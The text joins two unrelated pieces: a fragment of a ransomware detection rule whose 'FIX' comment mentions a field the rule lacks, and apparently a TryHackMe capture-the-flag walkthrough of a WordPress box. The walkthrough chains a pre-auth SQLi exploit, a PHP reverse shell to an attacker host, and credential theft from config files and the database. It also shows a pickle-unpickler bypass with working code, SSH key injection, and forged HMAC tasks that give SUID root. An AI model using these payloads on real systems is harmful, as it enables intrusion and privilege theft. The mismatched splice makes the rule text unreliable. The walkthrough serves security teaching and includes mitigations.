description: Detects execution of a payload using the Lynx ransomware's distinctive command line flags controlling target drive, encryption speed, and verbosity, consistent with POWDER WOLF's fleet wide deployment staging.
author: morgan-reyes
logsource:
product: windows
category: process_creation
detection:
selection:
CommandLine|contains|all:
- '--dir'
- '--mode fast'
filter_diskoptimizer:
OriginalFileName: 'DiskOptimizer.exe'
condition: selection and not filter_diskoptimizer
FIX: Corrected ParentImage (was services.exe, real value is cmd.exe). Dropped the filename anchor (\w.exe) entirely so a renamed/relocated payload can't skip the filter stage; keyed selection purely on the distinctive flags and excluded the legitimate tool using only its embedded OriginalFileName.
TryHackMe - Agent P
Summary
Agent P is a multi-stage Linux box themed around Doofenshmirtz Evil Incorporated. The
intended path chains four distinct vulnerability classes across four user contexts. An
unauthenticated WordPress REST API batch-route confusion SQLi (CVE-2026-63030) on a
WordPress 6.9 install creates a pre-auth administrator account, which is then abused
via the Theme File Editor to land a reverse shell as www-data. A custom
infrastructure accounts table in the WordPress database leaks SSH credentials for
norm, whose evilinc group membership allows reading a panel config file containing
an operator secret. That secret authenticates to an internal Flask app on port 8700
whose pickle deserialization endpoint is protected by a restricted unpickler - bypassed
using pydoc.locate to reach os.system without touching any blocked module name.
This yields a shell as vanessa, who has write access to the C2 implant's task socket.
The implant authenticates tasks via HMAC-SHA256, where the signing key is derived from
an XOR-obfuscated 32-byte seed (decrypted using the LCPRNG keystream hardcoded in
.rodata) combined with the system's machine-id. Reverse-engineering the key
derivation and forging a valid exec|chmod u+s /bin/bash task grants SUID bash and
root access.
Flags
| Flag | Location |
|---|---|
| User 1 (norm) | /home/norm/user.txt |
| User 2 (vanessa / operator) | /home/vanessa/operator.txt |
| Root | /root/root.txt |
Recon
nmap -A -Pn <MACHINE-IP> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.9
Two ports only. WordPress 6.9 on port 80 - immediately interesting since 6.9 is
flagged as insecure by wpscan.
wpscan --url http://<MACHINE-IP> --api-token <TOKEN> -e vp,vt,u
Key findings from wpscan:
- WordPress 6.9 (insecure)
- CVE-2026-63030: REST API batch-route confusion and SQLi to RCE (fixed in 6.9.5)
- CVE-2026-60137: Facilitated SQLi (fixed in 6.9.5)
- Upload directory listing enabled
- XML-RPC enabled
- One user identified:
heinz
Initial Access - WordPress CVE-2026-63030 (REST Batch SQLi to Admin Creation)
WordPress 6.9 is vulnerable to a REST API batch-route path confusion bug that allows
unauthenticated SQL injection via a crafted multi-route batch request. The
wp2shell PoC automates this into a
pre-auth admin-creation-to-RCE chain.
Confirming the target is vulnerable:
python3 wp2shell.py check http://<MACHINE-IP>/wp-trackback.php
[*] WordPress markers found (wp-json)
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE - batch route-confusion behavior detected.
Launching the interactive shell mode to trigger the pre-auth admin creation chain:
python3 wp2shell.py shell http://<MACHINE-IP>/ -i
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
[+] Administrator created: wp2_a5fdae0313e0
[+] email: wp2_a5fdae0313e0@wp2shell.invalid
[+] password: Wp2!RCFKphx2aSGoImuyytie
The plugin-upload step times out due to outbound restrictions, so the RCE path shifts
to the Theme File Editor, which is accessible once logged in as the newly created admin.
Navigating to Appearance > Theme File Editor > Twenty Twenty-Five > patterns > and replacing the file content with a PentestMonkey PHP
contact-info-locations.php
reverse shell payload:
<?php
set_time_limit(0);
$ip = '<ATTACKER-IP>';
$port = 4444;
// ... standard reverse shell payload
?>
Starting the listener and triggering execution by visiting:
http://<MACHINE-IP>/wp-content/themes/twentytwentyfive/patterns/contact-info-locations.php
[+] [New Reverse Shell] => tryhackme-2404 <MACHINE-IP> Linux-x86_64 www-data(33)
Lateral Movement - www-data to norm
WordPress Database Credential Extraction
cat /var/www/html/wp-config.php | grep DB_
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'wp_WjURfdI' );
Enumerating the WordPress database revealed a non-standard table:
mysql -u wpuser -p'wp_WjURfdI' wordpress -e "SHOW TABLES;"
+-----------------------+
| wp_infra_accounts | <-- non-default, custom table
+-----------------------+
mysql -u wpuser -p'wp_WjURfdI' wordpress -e "SELECT * FROM wp_infra_accounts;"
+-----------+---------------------+-------------------------------------------------+
| host_user | host_pass | note |
+-----------+---------------------+-------------------------------------------------+
| norm | N0rm_th3_r0b0t_2026 | ssh sync target for the -inator newsletter cron |
+-----------+---------------------+-------------------------------------------------+
Password reuse on the local account:
su norm # password: N0rm_th3_r0b0t_2026
User Flag 1
norm@tryhackme-2404:~$ cat /home/norm/user.txt
EVILINC{REDACTED}
Internal Service Discovery
Enumerating open ports from inside the box:
ss -tulnp
tcp LISTEN 127.0.0.1:8700 <-- previously invisible from external scan
tcp LISTEN 127.0.0.1:3306
Port 8700 is a Gunicorn/Flask app running as vanessa: the "Evil Inc. -inator Control
Panel." Its landing page shows two API routes: POST /api/login (exchange a secret for
an operator token) and POST /api/blueprints/import (deserialize a base64 pickle
blueprint).
Lateral Movement - norm to vanessa
Operator Secret Extraction
norm is a member of the evilinc group:
id
uid=1001(norm) gid=1002(norm) groups=1002(norm),1001(evilinc)
/etc/evilinc/panel.conf is readable by evilinc group members:
cat /etc/evilinc/panel.conf
[panel]
operator_secret = b3hind_sch3dul3_th1s_m0nth
Authenticating to the internal panel:
curl -s -c cookies.txt -X POST http://127.0.0.1:8700/api/login \
-d "secret=b3hind_sch3dul3_th1s_m0nth"
{"ok":true}
Pickle Deserialization - Restricted Unpickler Bypass
The /api/blueprints/import endpoint accepts a base64-encoded pickle, but passes
it through a restricted_unpickler.py module that blocks common modules by name
(os, posix, subprocess, builtins, operator, etc.).
The bypass uses pydoc.locate(), which resolves dotted names like "os.system"
to the actual function object at unpickle time. Since pydoc itself is not
blocklisted, this sidesteps the restriction entirely:
import pickle, base64, pydoc
class GetSystemFunc:
def __call__(self, *a, **kw):
pass
def __reduce__(self):
return (pydoc.locate, ('os.system',))
class Exploit:
def __reduce__(self):
return (GetSystemFunc(), ('id > /tmp/pwned_test 2>&1',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
Confirming RCE as vanessa:
curl -s -b cookies.txt -X POST http://127.0.0.1:8700/api/blueprints/import \
--data-urlencode "blueprint=$(python3 exploit.py)"
{"loaded":"0","ok":true}
cat /tmp/pwned_test
uid=1002(vanessa) gid=1003(vanessa) groups=1003(vanessa),1001(evilinc)
SSH Access as Vanessa
Using the pickle RCE to inject an SSH public key:
cmd = 'mkdir -p /home/vanessa/.ssh && \
echo "<PUBKEY>" >> /home/vanessa/.ssh/authorized_keys && \
chmod 700 /home/vanessa/.ssh && \
chmod 600 /home/vanessa/.ssh/authorized_keys && \
chown -R vanessa:vanessa /home/vanessa/.ssh'
ssh -i vanessa_key vanessa@127.0.0.1
User Flag 2 (Operator)
vanessa@tryhackme-2404:~$ cat /home/vanessa/operator.txt
EVILINC{REDACTED}
Privilege Escalation - vanessa to root
C2 Tasking Socket
vanessa is in the evilinc group, which has write access to the C2 implant's
Unix domain socket:
ls -la /run/evilinc/tasking.sock
srw-rw---- 1 root vanessa 0 Aug 8 07:52 /run/evilinc/tasking.sock
The root-running implant (/opt/evilinc/implant) polls this socket for tasks. It
supports two verbs via POLL <id> and SUBMIT <id>|<type>|<cmd>|<nonce>|<sig>.
A valid signature is required or the server returns ERR. The implant supports two
task types: sysinfo and exec - the latter passes cmd directly to system().
Reverse-Engineering the HMAC Signing Key
Disassembling the binary confirmed HMAC-SHA256 for signature verification. The key
derivation was determined from .rodata and the disassembly:
A 32-byte LCPRNG keystream is generated from seed
0x1a2b3c4dusing the
classic LCG formula:s = (s * 0x41c64e6d + 0x3039) & 0xFFFFFFFF, taking
(s >> 16) & 0xFFeach iteration.That keystream is XOR'd against a 32-byte constant blob embedded in
.rodata
at offset0x2020:
1588c57c 026ae5eb 9c2d1817 af48f709
64efff76 5e58d112 d8f116d7 0f9941b4
This produces the raw signing secret.
- The signing key is then
HMAC-SHA256(raw_secret, machine_id)wheremachine_idis read from/etc/machine-id.
The full key derivation in Python:
import hmac, hashlib
def keystream(n, seed=0x1a2b3c4d):
s = seed
out = bytearray()
for _ in range(n):
s = (s * 0x41c64e6d + 0x3039) & 0xFFFFFFFF
out.append((s >> 16) & 0xFF)
return bytes(out)
cipher = bytes.fromhex(
"1588c57c026ae5eb9c2d1817af48f709"
"64efff765e58d112d8f116d70f9941b4"
)
ks = keystream(32)
blob = bytes(a ^ b for a, b in zip(ks, cipher))
machine_id = open("/etc/machine-id").read().strip()
signing_key = hmac.new(blob, machine_id.encode(), hashlib.sha256).digest()
Forging a Malicious Task
With the signing key recovered, a valid exec task is forged to SUID bash:
task_id = "9999999"
task_type = "exec"
cmd = "chmod u+s /bin/bash"
nonce = "1"
msg = f"{task_id}|{task_type}|{cmd}|{nonce}"
sig = hmac.new(signing_key, msg.encode(), hashlib.sha256).hexdigest()
submit = f"SUBMIT {task_id}|{task_type}|{cmd}|{nonce}|{sig}"
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect("/run/evilinc/tasking.sock")
sock.send(submit.encode() + b"\n")
print(sock.recv(64).decode())
OK
The implant (running as root) picks up the task within its 3-second sleep cycle
and executes the command:
sleep 4
/bin/bash -p
bash-5.2# id
uid=1002(vanessa) gid=1003(vanessa) euid=0(root) groups=1003(vanessa),1001(evilinc)
Root Flag
bash-5.2# cat /root/root.txt
EVILINC{REDACTED}
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | WordPress REST batch-route confusion SQLi (CVE-2026-63030) |
/wp-json/ batch endpoint |
Pre-auth administrator creation |
| 2 | Post-auth arbitrary file write via Theme File Editor | /wp-admin/theme-editor.php |
RCE as www-data
|
| 3 | Plaintext credentials in custom WordPress DB table | wp_infra_accounts |
Lateral movement to norm
|
| 4 | Operator secret readable by group members | /etc/evilinc/panel.conf |
Authentication to internal panel |
| 5 | Restricted pickle unpickler bypass via pydoc.locate
|
/api/blueprints/import |
RCE as vanessa
|
| 6 | Roll-your-own crypto: LCPRNG keystream XOR + HMAC | /opt/evilinc/implant |
Signing key recovery and task forgery |
| 7 | Root task execution without output validation | evilinc-implant.service |
Privilege escalation to root |
Attack Chain
[nmap: port 80 WordPress 6.9, port 22 SSH pubkey-only]
|
v
[wpscan: user `heinz`, CVE-2026-63030 confirmed]
|
v
[wp2shell: pre-auth SQLi -> admin created (wp2_a5fdae0313e0)]
|
v
[Theme File Editor: PHP reverse shell -> contact-info-locations.php]
|
v
[curl trigger -> reverse shell as www-data]
|
v
[wp-config.php: DB creds wpuser:wp_WjURfdI]
|
v
[MySQL wp_infra_accounts: norm:N0rm_th3_r0b0t_2026]
|
v
[su norm -> user.txt captured]
|
v
[evilinc group -> /etc/evilinc/panel.conf -> operator_secret]
|
v
[Port 8700 panel login -> /api/blueprints/import]
|
v
[pydoc.locate pickle bypass -> RCE as vanessa]
|
v
[SSH key injection -> operator.txt captured]
|
v
[/run/evilinc/tasking.sock (group vanessa)]
|
v
[Implant binary RE: LCPRNG keystream XOR -> base key -> HMAC(key, machine_id)]
|
v
[Forge SUBMIT exec|chmod u+s /bin/bash -> /bin/bash -p -> root]
|
v
[root.txt captured]
Mitigations
- Keep WordPress and all plugins patched. CVE-2026-63030 was fixed in WordPress 6.9.5; a one-version lag was enough to fully compromise the host.
- Never store plaintext infrastructure credentials in a database accessible to the web application user. A dedicated secrets manager or encrypted vault should be used.
- Disable the WordPress Theme/Plugin File Editor in production
(
define('DISALLOW_FILE_EDIT', true)inwp-config.php). - Pickle deserialization of untrusted input is inherently unsafe regardless of what a restricted unpickler blocks. Any allowlist-based approach can be bypassed by finding an unblocked callable that resolves to a dangerous function at runtime. Accept only JSON or other safe serialization formats for user-supplied data.
- Do not roll your own cryptography. An LCPRNG-seeded keystream XOR is not a cipher - the seed and output transformation are trivially reversed from a static binary. Use established authenticated encryption (AES-GCM, ChaCha20-Poly1305) with keys generated by a CSPRNG and stored securely outside the binary.
- Services that accept tasking from a Unix socket should authenticate the connecting
peer (e.g. via
SO_PEERCRED) rather than relying solely on filesystem permissions plus an HMAC that can be forged once the key is recovered from the binary.
Top comments (0)